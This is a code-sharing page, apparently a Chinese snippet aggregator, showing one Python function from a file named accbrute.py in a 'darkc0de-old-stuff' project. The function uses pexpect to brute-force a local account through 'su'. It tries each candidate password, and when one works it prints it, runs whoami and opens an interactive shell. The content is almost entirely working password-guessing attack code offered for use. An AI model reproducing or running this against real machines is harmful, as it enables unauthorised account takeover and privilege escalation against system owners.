accbrute.py 文件源码

python
阅读 16 收藏 0 点赞 0 评论 0

项目:darkc0de-old-stuff 作者: tuwid 项目源码 文件源码
def brute(word):
    print "Trying:",word
    child = pexpect.spawn ('su '+user)
    child.expect ('Password: ')
    child.sendline (word)
    i = child.expect([LOGIN_ERROR, pexpect.TIMEOUT], timeout=5)
    if i  == 1:
        print "\n\t[!] Password:",word
        child.sendline ('whoami')
        print child.before
        child.interact()
    #if i = 0:
        #print "Incorrect Password"
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号